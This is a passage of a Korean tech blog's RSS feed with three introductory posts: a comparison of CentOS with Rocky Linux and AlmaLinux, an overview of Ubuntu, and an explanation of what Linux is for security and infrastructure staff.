&lt;li data-end=&quot;486&quot; data-start=&quot;444&quot;&gt;기업들은 &amp;ldquo;더 이상 CentOS는 안정적 서버 OS가 아니다!&amp;rdquo;라고 판단&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;565&quot; data-start=&quot;488&quot; data-ke-size=&quot;size16&quot;&gt;  그래서 기업들은 새로운 대체 OS를 찾아야만 했고, 그 결과로 &lt;b&gt;Rocky Linux&lt;/b&gt;와 &lt;b&gt;AlmaLinux&lt;/b&gt;가 등장한 거야.&lt;/p&gt;
&lt;hr data-end=&quot;570&quot; data-start=&quot;567&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;614&quot; data-start=&quot;572&quot;&gt;  2) &lt;b&gt;Rocky Linux란? (CentOS의 진짜 후계자)&lt;/b&gt;&lt;/h1&gt;
&lt;h3 data-end=&quot;653&quot; data-start=&quot;616&quot; data-ke-size=&quot;size23&quot;&gt;✔ CentOS 창립자가 만든 CentOS의 정통 후속 OS&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;756&quot; data-start=&quot;654&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;696&quot; data-start=&quot;654&quot;&gt;CentOS 창시자인 &lt;b&gt;Gregory Kurtzer&lt;/b&gt;가 직접 만듦&lt;/li&gt;
&lt;li data-end=&quot;756&quot; data-start=&quot;697&quot;&gt;목표: &amp;ldquo;예전 CentOS처럼 &lt;b&gt;안정적이고 완전한 RHEL과 100% 호환되는 무료 OS&lt;/b&gt; 만들자&amp;rdquo;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-end=&quot;766&quot; data-start=&quot;758&quot; data-ke-size=&quot;size23&quot;&gt;✔ 특징&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;854&quot; data-start=&quot;767&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;802&quot; data-start=&quot;767&quot;&gt;RHEL과 바이너리 레벨 100% 호환 (서버 운영에 최적)&lt;/li&gt;
&lt;li data-end=&quot;834&quot; data-start=&quot;803&quot;&gt;기업, 클라우드, IDC에서 빠르게 대세로 자리 잡음&lt;/li&gt;
&lt;li data-end=&quot;854&quot; data-start=&quot;835&quot;&gt;안정성 중시 기업들이 많이 선택&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;910&quot; data-start=&quot;856&quot; data-ke-size=&quot;size16&quot;&gt;  &lt;b&gt;지금 한국 기업들에서 가장 많이 쓰는 CentOS 대체 OS = Rocky Linux&lt;/b&gt;&lt;/p&gt;
&lt;hr data-end=&quot;915&quot; data-start=&quot;912&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;961&quot; data-start=&quot;917&quot;&gt;  3) &lt;b&gt;AlmaLinux란? (또 다른 RHEL 호환 대체 OS)&lt;/b&gt;&lt;/h1&gt;
&lt;h3 data-end=&quot;1003&quot; data-start=&quot;963&quot; data-ke-size=&quot;size23&quot;&gt;✔ CloudLinux 회사가 후원하여 개발한 RHEL 호환 OS&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1065&quot; data-start=&quot;1004&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1029&quot; data-start=&quot;1004&quot;&gt;CentOS 종료 이후 만들어진 대체 OS&lt;/li&gt;
&lt;li data-end=&quot;1065&quot; data-start=&quot;1030&quot;&gt;Rocky Linux와 마찬가지로 RHEL과 호환성 100%&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-end=&quot;1075&quot; data-start=&quot;1067&quot; data-ke-size=&quot;size23&quot;&gt;✔ 특징&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1163&quot; data-start=&quot;1076&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1104&quot; data-start=&quot;1076&quot;&gt;중립적인 비영리재단에서 관리 (기업 종속 없음)&lt;/li&gt;
&lt;li data-end=&quot;1134&quot; data-start=&quot;1105&quot;&gt;클라우드(AWS, GCP)에서 이미지 지원이 빠름&lt;/li&gt;
&lt;li data-end=&quot;1163&quot; data-start=&quot;1135&quot;&gt;Rocky보다 조금 더 업데이트가 빠르고 적극적&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;1209&quot; data-start=&quot;1165&quot; data-ke-size=&quot;size16&quot;&gt;  &lt;b&gt;클라우드 기반, 컨테이너 인프라에서 AlmaLinux도 많이 선택됨&lt;/b&gt;&lt;/p&gt;
&lt;hr data-end=&quot;1214&quot; data-start=&quot;1211&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1224&quot; data-start=&quot;1216&quot;&gt;비교 요약표&lt;/h1&gt;
&lt;div&gt;
&lt;div&gt;항목CentOSRocky LinuxAlmaLinux
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-end=&quot;1549&quot; data-start=&quot;1226&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody data-end=&quot;1549&quot; data-start=&quot;1319&quot;&gt;
&lt;tr data-end=&quot;1366&quot; data-start=&quot;1319&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;1327&quot; data-start=&quot;1319&quot;&gt;현재 상태&lt;/td&gt;
&lt;td data-end=&quot;1336&quot; data-start=&quot;1327&quot; data-col-size=&quot;sm&quot;&gt;사실상 종료&lt;/td&gt;
&lt;td data-end=&quot;1349&quot; data-start=&quot;1336&quot; data-col-size=&quot;sm&quot;&gt;CentOS 후계자&lt;/td&gt;
&lt;td data-end=&quot;1366&quot; data-start=&quot;1349&quot; data-col-size=&quot;sm&quot;&gt;RHEL 호환 대체 OS&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;1401&quot; data-start=&quot;1367&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;1373&quot; data-start=&quot;1367&quot;&gt;안정성&lt;/td&gt;
&lt;td data-end=&quot;1384&quot; data-start=&quot;1373&quot; data-col-size=&quot;sm&quot;&gt;낮음(테스트용)&lt;/td&gt;
&lt;td data-end=&quot;1392&quot; data-start=&quot;1384&quot; data-col-size=&quot;sm&quot;&gt;매우 높음&lt;/td&gt;
&lt;td data-end=&quot;1401&quot; data-start=&quot;1392&quot; data-col-size=&quot;sm&quot;&gt;매우 높음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;1443&quot; data-start=&quot;1402&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;1412&quot; data-start=&quot;1402&quot;&gt;업데이트 속도&lt;/td&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;1425&quot; data-start=&quot;1412&quot;&gt;빠름(테스트 중심)&lt;/td&gt;
&lt;td data-end=&quot;1434&quot; data-start=&quot;1425&quot; data-col-size=&quot;sm&quot;&gt;안정성 중심&lt;/td&gt;
&lt;td data-end=&quot;1443&quot; data-start=&quot;1434&quot; data-col-size=&quot;sm&quot;&gt;약간 빠름&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;1491&quot; data-start=&quot;1444&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;1451&quot; data-start=&quot;1444&quot;&gt;만든 곳&lt;/td&gt;
&lt;td data-end=&quot;1461&quot; data-start=&quot;1451&quot; data-col-size=&quot;sm&quot;&gt;Red Hat&lt;/td&gt;
&lt;td data-end=&quot;1474&quot; data-start=&quot;1461&quot; data-col-size=&quot;sm&quot;&gt;CentOS 창립자&lt;/td&gt;
&lt;td data-end=&quot;1491&quot; data-start=&quot;1474&quot; data-col-size=&quot;sm&quot;&gt;CloudLinux 후원&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;1517&quot; data-start=&quot;1492&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;1504&quot; data-start=&quot;1492&quot;&gt;기업 서버 적합성&lt;/td&gt;
&lt;td data-end=&quot;1508&quot; data-start=&quot;1504&quot; data-col-size=&quot;sm&quot;&gt;X&lt;/td&gt;
&lt;td data-end=&quot;1512&quot; data-start=&quot;1508&quot; data-col-size=&quot;sm&quot;&gt;◎&lt;/td&gt;
&lt;td data-end=&quot;1517&quot; data-start=&quot;1512&quot; data-col-size=&quot;sm&quot;&gt;◎&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;1549&quot; data-start=&quot;1518&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;1529&quot; data-start=&quot;1518&quot;&gt;커뮤니티/트렌드&lt;/td&gt;
&lt;td data-end=&quot;1535&quot; data-start=&quot;1529&quot; data-col-size=&quot;sm&quot;&gt;낮아짐&lt;/td&gt;
&lt;td data-end=&quot;1543&quot; data-start=&quot;1535&quot; data-col-size=&quot;sm&quot;&gt;매우 활발&lt;/td&gt;
&lt;td data-end=&quot;1549&quot; data-start=&quot;1543&quot; data-col-size=&quot;sm&quot;&gt;활발&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;hr data-end=&quot;1554&quot; data-start=&quot;1551&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1574&quot; data-start=&quot;1556&quot;&gt;⭐ 어떤 걸 쓰는 게 좋을까?&lt;/h1&gt;
&lt;p data-end=&quot;1597&quot; data-start=&quot;1576&quot; data-ke-size=&quot;size16&quot;&gt;보안/인프라 담당자 입장에서 추천하면:&lt;/p&gt;
&lt;h3 data-end=&quot;1632&quot; data-start=&quot;1599&quot; data-ke-size=&quot;size23&quot;&gt;  &lt;b&gt;기업용 서버 &amp;rarr; Rocky Linux&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1668&quot; data-start=&quot;1633&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1651&quot; data-start=&quot;1633&quot;&gt;CentOS의 정통 후계자&lt;/li&gt;
&lt;li data-end=&quot;1668&quot; data-start=&quot;1652&quot;&gt;안정성&amp;middot;호환성&amp;middot;생태계 최고&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-end=&quot;1702&quot; data-start=&quot;1670&quot; data-ke-size=&quot;size23&quot;&gt;  &lt;b&gt;클라우드 서버 &amp;rarr; AlmaLinux&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1747&quot; data-start=&quot;1703&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1721&quot; data-start=&quot;1703&quot;&gt;클라우드 이미지 지원 빠름&lt;/li&gt;
&lt;li data-end=&quot;1747&quot; data-start=&quot;1722&quot;&gt;업데이트 속도가 적당히 빠르고 개발 친화적&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;1752&quot; data-start=&quot;1749&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1772&quot; data-start=&quot;1754&quot;&gt;  실무에서는 이렇게 구분됨&lt;/h1&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1923&quot; data-start=&quot;1774&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1823&quot; data-start=&quot;1774&quot;&gt;&lt;b&gt;웹 서버 / WAS / DB / IDC 서버 운영 &amp;rarr; Rocky Linux&lt;/b&gt;&lt;/li&gt;
&lt;li data-end=&quot;1874&quot; data-start=&quot;1824&quot;&gt;&lt;b&gt;Docker / Kubernetes / 클라우드 EC2 &amp;rarr; AlmaLinux&lt;/b&gt;&lt;/li&gt;
&lt;li data-end=&quot;1923&quot; data-start=&quot;1875&quot;&gt;&lt;b&gt;예전 CentOS 사용 서버 &amp;rarr; 대부분 Rocky/Alma로 마이그레이션 중&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>2. 보안/3. 시스템 보안</category>
      <author>isaacToast</author>
      <guid isPermaLink="true">https://toastfactory.tistory.com/383</guid>
      <comments>https://toastfactory.tistory.com/383#entry383comment</comments>
      <pubDate>Tue, 18 Nov 2025 15:26:00 +0900</pubDate>
    </item>
    <item>
      <title>[보안_GPT] Ubuntu란?</title>
      <link>https://toastfactory.tistory.com/382</link>
      <description>&lt;p data-end=&quot;125&quot; data-start=&quot;0&quot; data-ke-size=&quot;size16&quot;&gt;**Ubuntu(우분투)**는 전 세계에서 가장 널리 사용되는 &lt;b&gt;리눅스 배포판(Distribution)&lt;/b&gt; 중 하나야.&lt;br /&gt;초보자부터 개발자&amp;middot;서버 관리자까지 모두 사용하는 &lt;b&gt;사용하기 쉬운 리눅스 운영체제&lt;/b&gt;라고 보면 돼.&lt;/p&gt;
&lt;hr data-end=&quot;130&quot; data-start=&quot;127&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;148&quot; data-start=&quot;132&quot;&gt;✅ &lt;b&gt;Ubuntu란?&lt;/b&gt;&lt;/h1&gt;
&lt;p data-end=&quot;225&quot; data-start=&quot;149&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Debian 리눅스 기반으로 만들어진 오픈소스 운영체제&lt;/b&gt;&lt;br /&gt;영국 회사 **Canonical(캐노니컬)**에서 개발&amp;middot;관리하고 있어.&lt;/p&gt;
&lt;p data-end=&quot;300&quot; data-start=&quot;227&quot; data-ke-size=&quot;size16&quot;&gt;우분투는 다른 리눅스 배포판보다 &lt;b&gt;설치&amp;middot;사용이 쉽고&lt;/b&gt;, 커뮤니티 자료도 많아서 처음 리눅스를 접하는 사람들에게 가장 인기 있어.&lt;/p&gt;
&lt;hr data-end=&quot;305&quot; data-start=&quot;302&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;326&quot; data-start=&quot;307&quot;&gt;  &lt;b&gt;Ubuntu의 특징&lt;/b&gt;&lt;/h1&gt;
&lt;h3 data-end=&quot;345&quot; data-start=&quot;327&quot; data-ke-size=&quot;size23&quot;&gt;1) &lt;b&gt;사용자 친화적&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;400&quot; data-start=&quot;346&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;385&quot; data-start=&quot;346&quot;&gt;GUI(그래픽 인터페이스)가 잘 되어 있어 윈도우처럼 사용 가능&lt;/li&gt;
&lt;li data-end=&quot;400&quot; data-start=&quot;386&quot;&gt;초보자도 쓰기 쉬움&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-end=&quot;423&quot; data-start=&quot;402&quot; data-ke-size=&quot;size23&quot;&gt;2) &lt;b&gt;패키지 설치가 쉬움&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;477&quot; data-start=&quot;424&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;447&quot; data-start=&quot;424&quot;&gt;apt 패키지 관리 시스템 사용&lt;/li&gt;
&lt;li data-end=&quot;477&quot; data-start=&quot;448&quot;&gt;예: sudo apt install nginx&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-end=&quot;503&quot; data-start=&quot;479&quot; data-ke-size=&quot;size23&quot;&gt;3) &lt;b&gt;서버/개발 환경에서 최강&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;573&quot; data-start=&quot;504&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;539&quot; data-start=&quot;504&quot;&gt;클라우드(AWS&amp;middot;GCP&amp;middot;Azure)에서 가장 많이 선택됨&lt;/li&gt;
&lt;li data-end=&quot;573&quot; data-start=&quot;540&quot;&gt;Docker&amp;middot;Kubernetes 환경에서도 표준처럼 쓰임&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-end=&quot;601&quot; data-start=&quot;575&quot; data-ke-size=&quot;size23&quot;&gt;4) &lt;b&gt;안정적이고 보안 패치가 빠름&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;659&quot; data-start=&quot;602&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;638&quot; data-start=&quot;602&quot;&gt;LTS(Long Term Support) 버전은 5년 지원&lt;/li&gt;
&lt;li data-end=&quot;659&quot; data-start=&quot;639&quot;&gt;보안 업데이트가 매우 빨리 제공됨&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-end=&quot;682&quot; data-start=&quot;661&quot; data-ke-size=&quot;size23&quot;&gt;5) &lt;b&gt;무료 + 기업 지원&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;733&quot; data-start=&quot;683&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;696&quot; data-start=&quot;683&quot;&gt;무료로 사용 가능&lt;/li&gt;
&lt;li data-end=&quot;733&quot; data-start=&quot;697&quot;&gt;필요하면 Canonical에서 유료 기술 지원도 받을 수 있음&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;738&quot; data-start=&quot;735&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;765&quot; data-start=&quot;740&quot;&gt;  &lt;b&gt;Ubuntu는 어디에 쓰일까?&lt;/b&gt;&lt;/h1&gt;
&lt;p data-end=&quot;920&quot; data-start=&quot;766&quot; data-ke-size=&quot;size16&quot;&gt;✔ &lt;b&gt;웹 서버 (Nginx, Apache)&lt;/b&gt;&lt;br /&gt;✔ &lt;b&gt;DB 서버 (MySQL, MariaDB, MongoDB)&lt;/b&gt;&lt;br /&gt;✔ &lt;b&gt;CI/CD 서버 (Jenkins, GitLab)&lt;/b&gt;&lt;br /&gt;✔ &lt;b&gt;클라우드 인스턴스&lt;/b&gt;&lt;br /&gt;✔ &lt;b&gt;개발용 PC&lt;/b&gt;&lt;br /&gt;✔ &lt;b&gt;보안 장비 기반 OS&lt;/b&gt;&lt;/p&gt;
&lt;p data-end=&quot;950&quot; data-start=&quot;922&quot; data-ke-size=&quot;size16&quot;&gt;너처럼 &lt;b&gt;인프라/보안 담당자&lt;/b&gt; 입장에서는 특히:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1024&quot; data-start=&quot;952&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;961&quot; data-start=&quot;952&quot;&gt;로그 분석&lt;/li&gt;
&lt;li data-end=&quot;971&quot; data-start=&quot;962&quot;&gt;권한 설정&lt;/li&gt;
&lt;li data-end=&quot;993&quot; data-start=&quot;972&quot;&gt;방화벽(UFW/IPTables)&lt;/li&gt;
&lt;li data-end=&quot;1004&quot; data-start=&quot;994&quot;&gt;시스템 점검&lt;/li&gt;
&lt;li data-end=&quot;1024&quot; data-start=&quot;1005&quot;&gt;서비스 감시(systemctl)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;1050&quot; data-start=&quot;1026&quot; data-ke-size=&quot;size16&quot;&gt;이런 작업을 Ubuntu에서 자주 하게 돼.&lt;/p&gt;
&lt;hr data-end=&quot;1055&quot; data-start=&quot;1052&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1072&quot; data-start=&quot;1057&quot;&gt;  Ubuntu의 종류&lt;/h1&gt;
&lt;h3 data-end=&quot;1105&quot; data-start=&quot;1073&quot; data-ke-size=&quot;size23&quot;&gt;✔ &lt;b&gt;Ubuntu Desktop&lt;/b&gt; &amp;mdash; PC용&lt;/h3&gt;
&lt;h3 data-end=&quot;1145&quot; data-start=&quot;1106&quot; data-ke-size=&quot;size23&quot;&gt;✔ &lt;b&gt;Ubuntu Server&lt;/b&gt; &amp;mdash; GUI 없음, 서버용&lt;/h3&gt;
&lt;h3 data-end=&quot;1197&quot; data-start=&quot;1146&quot; data-ke-size=&quot;size23&quot;&gt;✔ &lt;b&gt;Ubuntu Cloud 이미지&lt;/b&gt; &amp;mdash; AWS, GCP, Azure에서 제공&lt;/h3&gt;
&lt;h3 data-end=&quot;1236&quot; data-start=&quot;1198&quot; data-ke-size=&quot;size23&quot;&gt;✔ &lt;b&gt;Ubuntu Core&lt;/b&gt; &amp;mdash; IoT / 경량 임베디드용&lt;/h3&gt;</description>
      <category>2. 보안/3. 시스템 보안</category>
      <author>isaacToast</author>
      <guid isPermaLink="true">https://toastfactory.tistory.com/382</guid>
      <comments>https://toastfactory.tistory.com/382#entry382comment</comments>
      <pubDate>Tue, 18 Nov 2025 15:24:40 +0900</pubDate>
    </item>
    <item>
      <title>[보안_GPT] 리눅스(Linux)란?</title>
      <link>https://toastfactory.tistory.com/381</link>
      <description>&lt;p data-end=&quot;130&quot; data-start=&quot;0&quot; data-ke-size=&quot;size16&quot;&gt;**리눅스(Linux)**는 **오픈소스 기반의 운영체제(OS)**로, 서버&amp;middot;클라우드&amp;middot;보안&amp;middot;개발 환경에서 가장 널리 사용되는 시스템이야. 간단히 말하면 &lt;b&gt;컴퓨터를 켜고 프로그램이 동작하도록 만들어주는 핵심 시스템&lt;/b&gt;이라고 보면 돼.&lt;/p&gt;
&lt;hr data-end=&quot;135&quot; data-start=&quot;132&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;158&quot; data-start=&quot;137&quot;&gt;  &lt;b&gt;리눅스(Linux)란?&lt;/b&gt;&lt;/h1&gt;
&lt;p data-end=&quot;260&quot; data-start=&quot;159&quot; data-ke-size=&quot;size16&quot;&gt;리눅스는 1991년 **리누스 토르발스(Linus Torvalds)**가 처음 만든 운영체제 커널에서 시작되었고, 이후 전 세계 개발자들이 함께 발전시킨 &lt;b&gt;오픈소스 운영체제&lt;/b&gt;야.&lt;/p&gt;
&lt;p data-end=&quot;321&quot; data-start=&quot;262&quot; data-ke-size=&quot;size16&quot;&gt;  &lt;b&gt;리눅스 = 커널(Linux Kernel) + GNU 도구 + 다양한 패키지 &amp;rarr; 완성된 운영체제&lt;/b&gt;&lt;/p&gt;
&lt;hr data-end=&quot;326&quot; data-start=&quot;323&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;346&quot; data-start=&quot;328&quot;&gt;✅ &lt;b&gt;리눅스의 주요 특징&lt;/b&gt;&lt;/h1&gt;
&lt;h3 data-end=&quot;362&quot; data-start=&quot;347&quot; data-ke-size=&quot;size23&quot;&gt;1) &lt;b&gt;오픈소스&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;408&quot; data-start=&quot;363&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;384&quot; data-start=&quot;363&quot;&gt;누구나 코드 수정 및 배포 가능&lt;/li&gt;
&lt;li data-end=&quot;408&quot; data-start=&quot;385&quot;&gt;무료로 사용 가능 (기업용 지원 포함)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-end=&quot;429&quot; data-start=&quot;410&quot; data-ke-size=&quot;size23&quot;&gt;2) &lt;b&gt;안정성과 보안성&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;480&quot; data-start=&quot;430&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;447&quot; data-start=&quot;430&quot;&gt;서버 환경에서 가장 선호&lt;/li&gt;
&lt;li data-end=&quot;480&quot; data-start=&quot;448&quot;&gt;권한 구조가 명확하고, 바이러스&amp;middot;악성코드에 비교적 강함&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-end=&quot;505&quot; data-start=&quot;482&quot; data-ke-size=&quot;size23&quot;&gt;3) &lt;b&gt;멀티유저 / 멀티태스킹&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;555&quot; data-start=&quot;506&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;535&quot; data-start=&quot;506&quot;&gt;여러 사용자가 동시에 접속해도 안정적으로 동작&lt;/li&gt;
&lt;li data-end=&quot;555&quot; data-start=&quot;536&quot;&gt;다양한 작업을 동시에 수행 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-end=&quot;579&quot; data-start=&quot;557&quot; data-ke-size=&quot;size23&quot;&gt;4) &lt;b&gt;가벼움 &amp;amp; 성능 좋음&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;611&quot; data-start=&quot;580&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;611&quot; data-start=&quot;580&quot;&gt;Windows보다 자원 소모가 적어 서버 운영에 최적&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-end=&quot;638&quot; data-start=&quot;613&quot; data-ke-size=&quot;size23&quot;&gt;5) &lt;b&gt;명령어 기반(CLI) 중심&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;671&quot; data-start=&quot;639&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;671&quot; data-start=&quot;639&quot;&gt;GUI도 있지만, 대부분 **터미널(SSH)**로 관리&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;676&quot; data-start=&quot;673&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;698&quot; data-start=&quot;678&quot;&gt;  &lt;b&gt;리눅스가 사용되는 곳&lt;/b&gt;&lt;/h1&gt;
&lt;h3 data-end=&quot;730&quot; data-start=&quot;699&quot; data-ke-size=&quot;size23&quot;&gt;✔ 서버 (웹 서버, DB 서버, 게임 서버 등)&lt;/h3&gt;
&lt;h3 data-end=&quot;771&quot; data-start=&quot;731&quot; data-ke-size=&quot;size23&quot;&gt;✔ 클라우드 인프라 (AWS, GCP, Azure 대부분 리눅스)&lt;/h3&gt;
&lt;h3 data-end=&quot;816&quot; data-start=&quot;772&quot; data-ke-size=&quot;size23&quot;&gt;✔ 보안시스템(WAF, IDS/IPS, SIEM 등 OS가 리눅스 기반)&lt;/h3&gt;
&lt;h3 data-end=&quot;842&quot; data-start=&quot;817&quot; data-ke-size=&quot;size23&quot;&gt;✔ 네트워크 장비(OS가 리눅스 기반)&lt;/h3&gt;
&lt;h3 data-end=&quot;891&quot; data-start=&quot;843&quot; data-ke-size=&quot;size23&quot;&gt;✔ 개발 환경(Docker, Kubernetes, GitLab, Jenkins)&lt;/h3&gt;
&lt;hr data-end=&quot;896&quot; data-start=&quot;893&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;920&quot; data-start=&quot;898&quot;&gt;  &lt;b&gt;주요 리눅스 배포판 종류&lt;/b&gt;&lt;/h1&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1134&quot; data-start=&quot;921&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;961&quot; data-start=&quot;921&quot;&gt;&lt;b&gt;Ubuntu&lt;/b&gt; &amp;ndash; 사용자 친화적, 개발&amp;middot;테스트 환경에서 인기&lt;/li&gt;
&lt;li data-end=&quot;1028&quot; data-start=&quot;962&quot;&gt;&lt;b&gt;CentOS / Rocky Linux / AlmaLinux&lt;/b&gt; &amp;ndash; 기업 서버, 웹 서비스에서 가장 많이 사용&lt;/li&gt;
&lt;li data-end=&quot;1080&quot; data-start=&quot;1029&quot;&gt;&lt;b&gt;Red Hat Enterprise Linux(RHEL)&lt;/b&gt; &amp;ndash; 엔터프라이즈 기업용&lt;/li&gt;
&lt;li data-end=&quot;1104&quot; data-start=&quot;1081&quot;&gt;&lt;b&gt;Debian&lt;/b&gt; &amp;ndash; 안정성 최고&lt;/li&gt;
&lt;li data-end=&quot;1134&quot; data-start=&quot;1105&quot;&gt;&lt;b&gt;Kali Linux&lt;/b&gt; &amp;ndash; 보안&amp;middot;취약점 분석용&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;1139&quot; data-start=&quot;1136&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1165&quot; data-start=&quot;1141&quot;&gt;  &lt;b&gt;보안 담당자 관점에서 리눅스&lt;/b&gt;&lt;/h1&gt;
&lt;p data-end=&quot;1208&quot; data-start=&quot;1166&quot; data-ke-size=&quot;size16&quot;&gt;너가 인프라/보안 관제 업무 하는 걸 알고 있어서, 실무 기준으로 정리하면:&lt;/p&gt;
&lt;p data-end=&quot;1371&quot; data-start=&quot;1210&quot; data-ke-size=&quot;size16&quot;&gt;✓ 리눅스는 &lt;b&gt;로그 분석&lt;/b&gt;, &lt;b&gt;패키지 업데이트&lt;/b&gt;, &lt;b&gt;서비스 점검&lt;/b&gt;, &lt;b&gt;계정 관리&lt;/b&gt;, &lt;b&gt;방화벽 설정&lt;/b&gt;, &lt;b&gt;권한 관리&lt;/b&gt;, &lt;b&gt;취약점 점검&lt;/b&gt; 등 모든 서버 보안의 기본이야.&lt;br /&gt;✓ WAF, IPS, EDR, 보안 장비들도 내부는 대부분 &lt;b&gt;리눅스 기반 OS&lt;/b&gt;로 돌아감.&lt;/p&gt;
&lt;p data-end=&quot;1407&quot; data-start=&quot;1373&quot; data-ke-size=&quot;size16&quot;&gt;즉, 보안 담당자에게 리눅스는 &lt;b&gt;기본 언어&lt;/b&gt; 같은 존재야.&lt;/p&gt;</description>
      <category>2. 보안/3. 시스템 보안</category>
      <author>isaacToast</author>
